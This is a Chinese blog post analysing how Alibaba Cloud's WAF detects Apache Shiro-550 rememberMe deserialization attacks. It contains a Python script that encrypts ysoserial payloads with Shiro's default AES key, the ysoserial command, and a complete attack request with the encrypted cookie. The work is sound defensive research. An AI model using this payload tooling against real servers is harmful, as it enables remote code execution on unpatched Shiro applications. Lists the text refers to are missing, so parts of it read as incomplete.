shiro-550漏洞利用时,payload在cookie中的rememberMe中,生成过程:原始payload->aes加密->base64编码。
也有人整理出常见的aes加密密钥 top100 来利用此漏洞。
如果要在waf中对这个漏洞利用做防护,我能想到的安全策略是:
第二个方法存在两个问题:
aes解密时密钥是啥?会把top100利用时的密钥全部覆盖?
这个方法想起来简单,但是实施起来并不简单。它需要规则引擎支持base64解码和aes解密,并且需要规则中能够很容易描述这个解码顺序。
按照我的理解,waf和poc扫描的规则引擎类似,都支持规则描述文件和代码实现方式两种。如果waf规则引擎只支持规则描述文件的形式,不支持用代码来描述防护规则,那写这么一条规则我觉得还挺费劲的。
下面就是我验证阿里云waf是怎么拦截防护shiro-550漏洞的。
测试payload使用下面脚本生成,其中key使用shiro-550默认key
#coding:utf-8
#Python2
import uuid
import base64
from Crypto.Cipher import AES
key = "kPH+bIxk5D2deZiIxcaaaA=="
BS = AES.block_size
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
def pad(s): return s + ((BS - len(s) % BS)
* chr(BS - len(s) % BS)).encode()
def decrypt_shiro_payload(rememberMe):
"""
打印 java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS "" 生成的payload
"""
# rememberMe = """x4xXLguUTO+o2zDz6PKJtR7VQfrG08LE5KTMlw3cViQACMqKZ34wqnB1PIYeWTyiLrx2Dp7Gw3cFHJzwBUdqJXnSWmG7/SC7EH6c6OgPNTCgiplznhs61pwsoFU6X9NTHZi+/xr2Jo3rh/TW1gPqK6y4UGW9nqT6UDFybJLqO4bb7DhNsMkVNB4sZ7SgE1ee4zhY591SECQEDDzkM0EHbc2drf92hgueAEK450IqjUI03s1hq838mziWdE7OtQPQ6CjldBKPrSZ0BNhOGP+epg5SrLpXAjj/iwLVCRFE0lIUFtNDc9m8h5JKg/SLwa/yNTWZ+5DAooRs4+/yy1Z6xIe7d+OunTmTMnNXACNthKd96Y8RA4q9TnnS4aV91HbMoo/Voy/v03expiCm2OBpv72oTUCtV9eoHBByXyUsBDUI9BtN1IfAwjkFYj6fa4w5nAuR4sgbBrVy1KYnbgVN1H3DZ5Lmt8tvz1uhxo+SIQLtJfqhY1NhW10bWNm3F+sSyG7xblEDVgBLWer7ayRwZlv7/LejK1NPsjVPd8MvBTHfBMShNaQmS7LRTQssGaxq"""
data = encryptor.decrypt(base64.b64decode(rememberMe))
print(data)
print(len(data))
def encrypt_shiro_payload(originalPayload):
"""
originalPayload 是 java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS "http://xxx" 生成的payload
打印payload
"""
data = base64.b64encode(encryptor.encrypt(pad(originalPayload)))
print(data)
if __name__ == "__main__":
encrypt_shiro_payload("111111"*400)
测试攻击请求
原始payload是利用ysoerial工具生成:java8 -jar scripts/third_party/ysoserial-0.0.6-SNAPSHOT-BETA-all.jar URLDNS ""
payload在cookie中的rememberMe中,生成过程:原始payload->aes加密→base64编码
发送请求后,阿里云waf拦截
GET / HTTP/1.1
Host: xxxx.com
User-Agent: curl/7.70.0
Accept: */*
Cookie: rememberMe=x4xXLguUTO+o2zDz6PKJtR7VQfrG08LE5KTMlw3cViQACMqKZ34wqnB1PIYeWTyiLrx2Dp7Gw3cFHJzwBUdqJXnSWmG7/SC7EH6c6OgPNTCgiplznhs61pwsoFU6X9NTHZi+/xr2Jo3rh/TW1gPqK6y4UGW9nqT6UDFybJLqO4bb7DhNsMkVNB4sZ7SgE1ee4zhY591SECQEDDzkM0EHbc2drf92hgueAEK450IqjUI03s1hq838mziWdE7OtQPQ6CjldBKPrSZ0BNhOGP+epg5SrLpXAjj/iwLVCRFE0lIUFtNDc9m8h5JKg/SLwa/yNTWZ+5DAooRs4+/yy1Z6xIe7d+OunTmTMnNXACNthKd96Y8RA4q9TnnS4aV91HbMoo/Voy/v03expiCm2OBpv72oTUCtV9eoHBByXyUsBDUI9BtN1IfAwjkFYj6fa4w5nAuR4sgbBrVy1KYnbgVN1H3DZ5Lmt8tvz1uhxo+SIQLtJfqhY1NhW10bWNm3F+sSyG7xblEDVgBLWer7ayRwZlv7/LejK1NPsjVPd8MvBTHfBMShNaQmS7LRTQssGaxp
Connection: close
测试正常请求
原始payload是 "111111"*400 ,不包含攻击特征。
payload在cookie中的rememberMe中,生成过程:原始payload->aes加密->base64编码
结论:正常请求阿里云waf未拦截
对比拦截和不拦截的情况,可以看出来阿里云waf防护防护规则逻辑:先对cookie中的rememberMe做base64解码,然后用默认key(kPH+bIxk5D2deZiIxcaaaA==") 来做aes解密,最后规则匹配解密后的内容。
还有一些测试在分析过程中没有写,这里直接写出结论:
虽然不能完全防御shiro-100key扫描,但是阿里云waf这条规则还是挺细致的。从支持rsa解密这一点上感觉背后的规则引擎功能很丰富。